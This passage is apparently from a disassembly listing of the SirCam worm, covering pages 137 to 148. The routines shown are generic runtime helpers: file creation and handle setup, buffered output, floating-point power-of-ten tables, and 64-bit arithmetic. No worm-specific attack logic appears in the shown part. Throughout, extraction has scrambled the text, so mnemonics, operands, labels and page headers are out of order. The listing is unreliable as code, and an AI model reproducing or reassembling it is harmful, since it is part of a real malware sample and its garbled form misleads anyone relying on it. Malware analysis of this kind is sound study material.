loc_404FE8: ; CODE XREF: CODE:00404FE1\030j ; CODE:00404FF5\031j pop pop esi ebx sircam.asm Fri Aug 10 12:42:44 2001 137 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404FEB: ; CODE XREF: CODE:00404FD0\030j mov eax, 66h call sub_40267C jmp short loc_404FE8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov edx, 0D7B1h jmp short loc_404FBC ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404FFE proc near sub_404FFE mov jmp endp ; CODE XREF: sub_405144+45\031p ; CODE:00405253\031p edx, 0D7B2h short loc_404FBC ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405005 sub_405005 proc near ; CODE XREF: sub_418438+41\031p mov edx, 0D7B3h jmp short loc_404FBC endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40500C: ; CODE XREF: sub_40510D+12\031j ; sub_405124+5\031j push push push mov mov mov mov sub jz cmp ja call test jz call ebx esi edi ebx, eax esi, edx edi, ecx edx, [ebx+4] edx, 0D7B0h short loc_405035 edx, 3 loc_4050D3 dword ptr [ebx+24h] eax, eax short loc_405035 sub_40267C mov mov mov mov cmp jz mov mov and shr mov mov sub jz mov inc jz mov inc ; CODE XREF: CODE:0040501E\030j ; CODE:0040502E\030j dword ptr [ebx+4], 0D7B3h [ebx+8], esi dword ptr [ebx+24h], offset loc_40512E dword ptr [ebx+1Ch], offset loc_4050B7 byte ptr [ebx+48h], 0 short loc_4050BA eax, 0C0000000h dl, ds:byte_41E042 edx, 70h edx, 2 edx, ds:dword_4050ED[edx] ecx, 2 edi, 3 short loc_405097 ecx, 3 edi short loc_405097 eax, 40000000h edi loc_405035: sircam.asm Fri Aug 10 12:42:44 2001 mov jz mov mov 138 dword ptr [ebx+4], 0D7B2h short loc_405097 eax, 80000000h dword ptr [ebx+4], 0D7B1h loc_405097: ; CODE XREF: CODE:00405072\030j ; CODE:0040507A\030j ... push push push push push push lea push call 0 80h ecx 0 edx eax eax, [ebx+48h] eax j_CreateFileA cmp jz mov eax, 0FFFFFFFFh short loc_4050DA [ebx], eax loc_4050AC: ; CODE XREF: CODE:004050D1\031j loc_4050B3: ; CODE XREF: CODE:004050EB\031j pop edi pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4050B7: ; DATA XREF: CODE:00405046\030o ; CODE:004050BA\031o xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4050BA: ; CODE XREF: CODE:00405051\030j mov dword ptr [ebx+24h], offset loc_4050B7 cmp edi, 3 jz short loc_4050CA push 0FFFFFFF6h jmp short loc_4050CC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4050CA: ; CODE XREF: CODE:004050C4\030j push 0FFFFFFF5h loc_4050CC: ; CODE XREF: CODE:004050C8\030j call j_GetStdHandle jmp short loc_4050AC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4050D3: ; CODE XREF: CODE:00405023\030j mov eax, 66h jmp short loc_4050E6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4050DA: mov call ; CODE XREF: CODE:004050AF\030j dword ptr [ebx+4], 0D7B0h j_GetLastError loc_4050E6: ; CODE XREF: CODE:004050D8\030j call sub_40267C jmp short loc_4050B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dword_4050ED dd 3, 0, 1, 2, 3, 3 dup(0) ; DATA XREF: CODE:00405064\030r ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40510D proc near ; CODE XREF: sub_416478+136\031p sircam.asm Fri Aug 10 12:42:44 2001 xor mov and cmp jbe mov ; sub_416478+21E\031p ... ecx, ecx cl, ds:byte_41E042 cl, 3 cl, 2 short loc_40511F cl, 2 loc_40511F: sub_40510D 139 ; CODE XREF: sub_40510D+E\030j jmp endp loc_40500C ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405124 proc near sub_405124 mov jmp endp ; CODE XREF: sub_416478+14B\031p ; sub_416B20+97\031p ... ecx, 3 loc_40500C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40512E: push mov call dec jnz retn ; DATA XREF: CODE:0040503F\030o dword ptr [eax] dword ptr [eax+4], 0D7B0h j_CloseHandle eax loc_40268C ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405144 proc near push push mov cmp jnz ; CODE XREF: sub_403A60+22\030j ; sub_4051AF+16\031p ... esi edi esi, edx dword ptr [eax+4], 0D7B2h short loc_40517F loc_405151: ; CODE XREF: sub_405144+31\031j ; sub_405144+54\031j mov edi, [eax+14h] add edi, [eax+0Ch] mov edx, [eax+8] sub edx, [eax+0Ch] cmp edx, ecx jg short loc_405177 add [eax+0Ch], edx sub ecx, edx push eax push ecx mov ecx, edx repe movsb call dword ptr [eax+1Ch] test eax, eax jnz short loc_4051A6 pop ecx pop eax jmp short loc_405151 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405177: ; CODE XREF: sub_405144+1B\030j add [eax+0Ch], ecx repe movsb loc_40517C: ; CODE XREF: sub_405144+60\031j sircam.asm Fri Aug 10 12:42:44 2001 140 ; sub_405144+69\031j pop edi pop esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40517F: cmp jnz push push push call pop pop pop cmp jz ; CODE XREF: sub_405144+B\030j eax, offset unk_41E214 short loc_40519A ecx edx eax sub_404FFE eax edx ecx dword ptr [eax+4], 0D7B2h short loc_405151 loc_40519A: ; CODE XREF: sub_405144+40\030j mov eax, 69h call sub_40267C jmp short loc_40517C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4051A6: sub_405144 ; CODE XREF: sub_405144+2D\030j call pop pop jmp endp sub_40267C ecx eax short loc_40517C ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4051AF proc near mov ; CODE XREF: sub_403A60+19\030p ; CODE:004051FF\031p ... ecx, edx loc_4051B1: ; CODE XREF: sub_4051AF+2B\031j mov edx, offset unk_41C060 cmp ecx, 40h jle short loc_4051DC sub ecx, 40h push eax push ecx mov ecx, 40h call sub_405144 call sub_4059F0 cmp dword ptr [eax+4], 0 jnz short loc_4051E5 pop ecx pop eax jmp short loc_4051B1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4051DC: ; CODE XREF: sub_4051AF+A\030j test ecx, ecx jg sub_405144 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4051E5: sub_4051AF ; CODE XREF: sub_4051AF+27\030j pop pop retn endp ecx eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 141 xor ecx, ecx mov cl, [edx] inc edx jmp sub_405144 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push ebx xor ebx, ebx mov bl, [edx] sub ecx, ebx jle short loc_405206 push eax push edx mov edx, ecx call sub_4051AF pop edx pop eax loc_405206: ; CODE XREF: CODE:004051F9\030j mov pop inc jmp ecx, ebx ebx edx sub_405144 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40520F proc near ; CODE XREF: sub_403390+55\030p ; CODE:00409404\031p ... edx, offset asc_41C0A0 ; "\r\n\213À" ecx, 2 sub_405144 loc_404E91 sub_40520F mov mov call jmp endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp dword ptr [eax+4], 0D7B2h jnz short loc_40524A loc_40522C: ; CODE XREF: CODE:00405248\031j ; CODE:00405261\031j mov ecx, [eax+0Ch] cmp ecx, [eax+8] jge short loc_40523D add ecx, [eax+14h] mov [ecx], dl inc dword ptr [eax+0Ch] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40523D: ; CODE XREF: CODE:00405232\030j push eax push edx call dword ptr [eax+1Ch] test eax, eax jnz short loc_40526D pop edx pop eax jmp short loc_40522C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40524A: cmp jnz push push call pop pop cmp jz ; CODE XREF: CODE:0040522A\030j eax, offset unk_41E214 short loc_405263 edx eax sub_404FFE eax edx dword ptr [eax+4], 0D7B2h short loc_40522C sircam.asm Fri Aug 10 12:42:44 2001 142 loc_405263: ; CODE XREF: CODE:0040524F\030j mov eax, 69h jmp sub_40267C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40526D: ; CODE XREF: CODE:00405244\030j call sub_40267C pop edx pop eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push edx lea edx, [ecx-1] call sub_4051AF mov edx, esp mov ecx, 1 call sub_405144 pop edx retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40528C proc near sub_40528C xor ecx, ecx jmp short $+2 push esi push edi mov esi, eax push ecx mov edi, edx or ecx, 0FFFFFFFFh mov al, 0 repne scasb not ecx dec ecx mov edi, edx pop edx sub edx, ecx mov eax, esi push ecx call sub_4051AF pop ecx mov eax, esi mov edx, edi pop edi pop esi jmp sub_405144 endp ; CODE XREF: sub_403390+50\030p ; CODE:004093FF\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4052BC proc near test jl jz cmp jge mov and lea fld fmulp ; CODE XREF: sub_40AEB8+54\031p ; CODE:0040B105\031p eax, eax short loc_405308 short locret_405307 eax, 1400h loc_40534C edx, eax edx, 1Fh edx, [edx+edx*4] ds:tbyte_405360[edx*2] st(1), st sircam.asm Fri Aug 10 12:42:44 2001 143 shr jz mov and jz lea fld fmulp eax, 5 short locret_405307 edx, eax edx, 0Fh short loc_4052F6 edx, [edx+edx*4] ds:tbyte_405496[edx*2] st(1), st shr jz lea fld fmulp ; CODE XREF: sub_4052BC+2C\030j eax, 4 short locret_405307 eax, [eax+eax*4] ds:tbyte_40552C[eax*2] st(1), st loc_4052F6: locret_405307: ; CODE XREF: sub_4052BC+4\030j ; sub_4052BC+25\030j ... retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405308: neg cmp jge mov and lea fld fdivp shr jz mov and jz lea fld fdivp ; CODE XREF: sub_4052BC+2\030j eax eax, 1400h short loc_405353 edx, eax edx, 1Fh edx, [edx+edx*4] ds:tbyte_405360[edx*2] st(1), st eax, 5 short locret_405307 edx, eax edx, 0Fh short loc_40533A edx, [edx+edx*4] ds:tbyte_405496[edx*2] st(1), st loc_40533A: ; CODE XREF: sub_4052BC+70\030j shr eax, 4 jz short locret_405307 lea eax, [eax+eax*4] fld ds:tbyte_40552C[eax*2] fdivp st(1), st retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40534C: ; CODE XREF: sub_4052BC+B\030j fld ds:tbyte_405356 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405353: sub_4052BC ; CODE XREF: sub_4052BC+53\030j fldz retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ tbyte_405356 dt 1.1897314953572317651e4932 ; DATA XREF: sub_4052BC+90\030r tbyte_405360 dt 1.0 ; DATA XREF: sub_4052BC+19\030r ; sub_4052BC+5D\030r dd 0, 0A0000000h, 4002h, 0, 4005C800h, 0, 0FA000000h, 4008h dd 0, 400C9C40h, 0, 0C3500000h, 400Fh, 0, 4012F424h, 0 dd 98968000h, 4016h, 20000000h, 4019BEBCh, 0, 0EE6B2800h dd 401Ch, 0F9000000h, 40209502h, 0, 0BA43B740h, 4023h dd 0A5100000h, 4026E8D4h, 0, 9184E72Ah, 402Ah, 20F48000h dd 402DB5E6h, 0A0000000h, 0E35FA931h, 4030h, 0C9BF0400h dd 40348E1Bh, 0C5000000h, 0B1A2BC2Eh, 4037h, 6B3A7640h dd 403ADE0Bh, 89E80000h, 8AC72304h, 403Eh, 0EBC5AC62h sircam.asm Fri Aug 10 12:42:44 2001 tbyte_405496 dd dd dd dd dd dd dt tbyte_40552C dd dd dd dd dd dd dd dt dd dd dd dd dd db 144 4041AD78h, 177A8000h, 0D8D726B7h, 90004044h, 78326EACh 40488786h, 0A57B400h, 0A968163Fh, 0A100404Bh, 1BCECCEDh 404ED3C2h, 401484A0h, 84595161h, 0A5C84052h, 0A5B99019h 4055A56Fh, 0F4200F3Ah, 0CECB8F27h, 9844058h, 3978F894h 405C813Fh, 36B90BE5h, 0A18F07D7h, 4EDF405Fh, 0C9CD0467h 4062C9F2h 9.9999999999999999998e30 ; DATA XREF: sub_4052BC+31\030r ; sub_4052BC+75\030r 2B70B59Eh, 9DC5ADA8h, 0A6D54069h, 1F49FFCFh, 40D3C278h 0C59B14A3h, 0EFB3AB16h, 8CE0413Dh, 47C980E9h, 41A893BAh 7FE617AAh, 0B616A12Bh, 556B4212h, 0F78D3927h, 427CE070h 0E33CC930h, 8A5296FFh, 0DE8E42E7h, 0EBFB9DF9h, 4351AA7Eh 5C6A2F8Ch, 0D226FC19h, 0E37643BBh, 2F29F2CCh, 44268184h 0DB900AD2h, 9FA42700h, 0AA174490h, 0E310AEF8h, 44FAC4C5h 0E9B09C59h, 0F28A9C07h, 0F3D44564h, 4AE1EBF7h, 45CF957Ah 9.9999999999999999996e479 ; DATA XREF: sub_4052BC+42\030r ; sub_4052BC+86\030r 0A60E91C7h, 0E319A0AEh, 0C1746A3h, 75868175h, 4D48C976h 3993A7E4h, 0B2B8353Bh, 5DE553EDh, 3B5DC53Dh, 5A929E8Bh 20A1F0A6h, 8CA554C0h, 5A8B6137h, 5D25D88Bh, 67DBF989h 0BF27F3F8h, 0DD5DC8A2h, 979B6E80h, 52028A20h, 7525C460h 6ED559F0h, 0AE351162h 0CAh, 7Bh ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405590 proc near arg_0 arg_4 = dword ptr = dword ptr sub_405590 push push mov mul mov mov mul add mov mul add pop pop retn endp ; CODE XREF: sub_40745C+43\031p ; sub_40745C+5D\031p ... 0Ch 10h edx eax eax, [esp+arg_4] dword ptr [esp+0] ecx, eax eax, [esp+4] [esp+arg_0] ecx, eax eax, [esp+0] [esp+arg_0] edx, ecx ecx ecx 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push edx push eax mov eax, [esp+10h] mul dword ptr [esp] mov ecx, eax mov eax, [esp+4] mul dword ptr [esp+0Ch] add ecx, eax mov eax, [esp] mul dword ptr [esp+0Ch] add edx, ecx pop ecx pop ecx retn 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4055D6 proc near ; CODE XREF: CODE:00405676\031p ; sub_418C48+CA\031p ... sircam.asm arg_0 arg_4 Fri Aug 10 12:42:44 2001 = dword ptr = dword ptr 145 14h 18h push push push push xor mov mov or jnz or jz or jz ebp ebx esi edi edi, edi ebx, [esp+arg_0] ecx, [esp+arg_4] ecx, ecx short loc_4055F0 edx, edx short loc_405648 ebx, ebx short loc_405648 or jns neg neg sbb or edx, edx short loc_4055FE edx eax edx, 0 edi, 1 or jns neg neg sbb xor ecx, ecx short loc_40560C ecx ebx ecx, 0 edi, 1 mov mov push xor xor ebp, ecx, edi edi, esi, shl rcl rcl rcl cmp jb ja cmp jb eax, 1 edx, 1 esi, 1 edi, 1 edi, ebp short loc_40562F short loc_40562A esi, ebx short loc_40562F sub sbb inc esi, ebx edi, ebp eax loc_4055F0: ; CODE XREF: sub_4055D6+10\030j loc_4055FE: ; CODE XREF: sub_4055D6+1C\030j loc_40560C: ; CODE XREF: sub_4055D6+2A\030j ecx 40h edi esi loc_405618: ; CODE XREF: sub_4055D6+59\031j loc_40562A: ; CODE XREF: sub_4055D6+4E\030j loc_40562F: ; CODE XREF: sub_4055D6+4C\030j ; sub_4055D6+52\030j loop pop test jz neg neg sbb loc_405618 ebx ebx, 1 short loc_405641 edx eax edx, 0 loc_405641: ; CODE XREF: sub_4055D6+62\030j ; sub_4055D6+76\031j pop edi sircam.asm Fri Aug 10 12:42:44 2001 146 pop esi pop ebx pop ebp retn 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405648: sub_4055D6 ; CODE XREF: sub_4055D6+14\030j ; sub_4055D6+18\030j div xor jmp endp ebx edx, edx short loc_405641 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push esi mov esi, [esp+0Ch] and esi, [esp+8] cmp esi, 0FFFFFFFFh jnz short loc_40566D mov esi, eax or esi, edx cmp esi, 80000000h jnz short loc_40566D mov eax, esi pop esi dec eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40566D: ; CODE XREF: CODE:0040565A\030j ; CODE:00405666\030j pop push push call and retn esi dword ptr [esp+8] dword ptr [esp+8] sub_4055D6 eax, eax 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405680 proc near arg_0 arg_4 = dword ptr = dword ptr ; CODE XREF: sub_4078EB+2F\031p 14h 18h push push push push mov mov or jnz or jz or jz ebp ebx esi edi ebx, [esp+arg_0] ecx, [esp+arg_4] ecx, ecx short loc_405698 edx, edx short loc_4056C3 ebx, ebx short loc_4056C3 mov mov xor xor ebp, ecx, edi, esi, ecx 40h edi esi shl rcl rcl rcl eax, edx, esi, edi, 1 1 1 1 loc_405698: ; CODE XREF: sub_405680+E\030j loc_4056A3: ; CODE XREF: sub_405680+3A\031j sircam.asm Fri Aug 10 12:42:44 2001 cmp jb ja cmp jb edi, ebp short loc_4056BA short loc_4056B5 esi, ebx short loc_4056BA sub sbb inc esi, ebx edi, ebp eax loc_4056B5: 147 ; CODE XREF: sub_405680+2F\030j loc_4056BA: ; CODE XREF: sub_405680+2D\030j ; sub_405680+33\030j loop loc_4056A3 loc_4056BC: ; CODE XREF: sub_405680+47\031j pop edi pop esi pop ebx pop ebp retn 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4056C3: sub_405680 ; CODE XREF: sub_405680+12\030j ; sub_405680+16\030j div xor jmp endp ebx edx, edx short loc_4056BC ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4056C9 proc near arg_0 arg_4 = dword ptr = dword ptr ; CODE XREF: CODE:0040576B\031p 14h 18h push push push push xor mov mov or jnz or jz or jz ebp ebx esi edi edi, edi ebx, [esp+arg_0] ecx, [esp+arg_4] ecx, ecx short loc_4056E3 edx, edx short loc_40573C ebx, ebx short loc_40573C or jns neg neg sbb or edx, edx short loc_4056F1 edx eax edx, 0 edi, 1 or jns neg neg sbb ecx, ecx short loc_4056FC ecx ebx ecx, 0 mov ebp, ecx loc_4056E3: ; CODE XREF: sub_4056C9+10\030j loc_4056F1: ; CODE XREF: sub_4056C9+1C\030j loc_4056FC: ; CODE XREF: sub_4056C9+2A\030j sircam.asm Fri Aug 10 12:42:44 2001 mov push xor xor ecx, 40h edi edi, edi esi, esi shl rcl rcl rcl cmp jb ja cmp jb eax, 1 edx, 1 esi, 1 edi, 1 edi, ebp short loc_40571F short loc_40571A esi, ebx short loc_40571F sub sbb inc esi, ebx edi, ebp eax loc_405708: 148 ; CODE XREF: sub_4056C9+56\031j loc_40571A: ; CODE XREF: sub_4056C9+4B\030j loc_40571F: ; CODE XREF: sub_4056C9+49\030j ; sub_4056C9+4F\030j loop mov mov pop test jz neg neg sbb loc_405708 eax, esi edx, edi ebx ebx, 1 short loc_405735 edx eax edx, 0 loc_405735: ; CODE XREF: sub_4056C9+63\030j ; sub_4056C9+78\031j pop edi pop esi pop ebx pop ebp retn 8 ; 